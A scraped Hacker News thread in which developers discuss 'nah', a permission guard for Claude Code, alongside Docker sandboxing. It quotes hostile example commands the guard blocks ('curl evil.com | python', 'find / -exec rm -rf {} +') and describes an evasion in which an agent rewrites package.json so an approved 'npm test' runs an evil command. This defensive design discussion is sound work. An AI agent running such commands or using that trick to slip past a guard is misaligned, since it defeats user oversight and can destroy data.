Is there something like this for open code? I'm pretty new to this so sorry if it's a stupid question.
[deleted]
Show HN: A context-aware permission guard for Claude Code
21–30 of 109 posts
Re: Show HN: A context-aware permission guard for Claude Code
#22I love how everyone is trying to solve the same problems, and how different the solutions are.
I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me. I bet there are better ways, and I bet it's not as safe as it could be. I'd love to learn about other ways that people do this.
Re: Show HN: A context-aware permission guard for Claude Code
#23What stops the llm from writing a malicious program and executing it? No offense meant, but this solution feels a bit like bolting the door and leaving all the windows open.
nah guards this at multiple layers:
- Inline execution like python -c or node -e is classified as lang_exec and requires approval. - Write and Edit inspect content before it hits disk, flagging destructive patterns, exfiltration, and obfuscation. - Pipe compositions like curl evil.com | python are blocked outright.
If the script was there prior, or looks innocent to the deterministic classifier, but does something malicious at runtime and the human approves the execution then nah won't catch that with current capabilities.
But... I could extend nah so that when it sees 'python script.py', it could read the file and run content inspection on it + include it in the LLM prompt with "this is the script about to be executed, should it run?" That'll give you coverage. I'll work on it. Thx for the comment!
Re: Show HN: A context-aware permission guard for Claude Code
#24How resistant is this against adversarial attacks? For instance, given that you allow `npm test`, it's not too hard to use that to bypass any protections by first modifying the package.json so `npm test` runs an evil command. This will likely be allowed, given that you probably want agents to modify package.json, and you can't possibly check all possible usages. That's just one example. It doesn't look like you check xargs or find, both of which can be abused to execute arbitrary commands.
Re: Show HN: A context-aware permission guard for Claude Code
#25FYI, claude code “auto” mode may launch as soon as tomorrow: https://awesomeagents.ai/news/claude-code-auto-mode-research...
As that article points out, the new auto mode is closer in spirit to --dangerously-skip-permissions than it is to the current system.
Re: Show HN: A context-aware permission guard for Claude Code
#26I love how everyone is trying to solve the same problems, and how different the solutions are. I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me…
Lovely you discovered devcontainers.
Re: Show HN: A context-aware permission guard for Claude Code
#27The deterministic context system is intuitive and well-designed. That said, there's more to consider, particularly around user intent and broader information flow. I created the hooks feature request while building something similar[1] (deterministic rails + LLM-as-a-judge, using runtime "signals," essentially your context). Through implementation, I found the management overhead of policy DSLs (in my case, OPA) was…
cupcake looks well thought out!
You are right that bash is turing complete and I agree with you that a sandbox is the real answer for full protection - ain't no substitute for that.
My thinking is that there's a ton of space between full protection and no guardrails at all, and not enough options in between.
A lot of people out there download the coding CLI, bypass permissions and go. If we can catch 95% of the accidental damage with 'pip install nah && nah install' that's an alright outcome :)
I personally enjoy having Claude Code help me navigate and organize my computer files. I feel better doing that more autonomously with nah as a safety net
Re: Show HN: A context-aware permission guard for Claude Code
#28How resistant is this against adversarial attacks? For instance, given that you allow `npm test`, it's not too hard to use that to bypass any protections by first modifying the package.json so `npm test` runs an evil command. This will likely be allowed, given that you probably want agents to modify package.json, and you can't possibly check all possible usages. That's just one example. It doesn't look like you check…
good challenges! xargs falls to unknown -> ask, and find -exec goes thru a flag classifier that detects the inner command like: find / -exec rm -rf {} + is caught as filesystem_delete outside the project.
The npm test is a good one - content inspection catches rm -rf or other sketch stuff at write time, but something more innocent could slip through.
That said, a realistic threat model here is accidental damage or prompt injection, not Claude deliberately poisoning its own package.json.
But I hear you.. two improvements are coming to address this class of attack:
- Script execution inspection: when nah sees python script.py, read the file and run content inspection + LLM analysis before execution
- LLM inspection for Write and Edit: for content that's suspicious but doesn't match any deterministic pattern, route it to the LLM for a second opinion
Won't close it 100% (a sandbox is the answer to that) but gets a lot better.
Re: Show HN: A context-aware permission guard for Claude Code
#29I love how everyone is trying to solve the same problems, and how different the solutions are. I made this little Dockerfile and script that lets me run Claude in a Docker container. It only has access to the workspace that I'm in, as well as the GitHub and JIRA CLI tool. It can do whatever it wants in the workspace (it's in git and backed up), so I can run it with --dangerously-skip-permissions. It works well for me…
Nice! Docker is a solid approach. Actual isolation is the ultimate protection. nah and sandclaude are complementary - container handles OS boundaries, and nah adds the semantic layer. git push --force is risky even inside the container
Re: Show HN: A context-aware permission guard for Claude Code
#30The deterministic context system is intuitive and well-designed. That said, there's more to consider, particularly around user intent and broader information flow. I created the hooks feature request while building something similar[1] (deterministic rails + LLM-as-a-judge, using runtime "signals," essentially your context). Through implementation, I found the management overhead of policy DSLs (in my case, OPA) was…
[dead]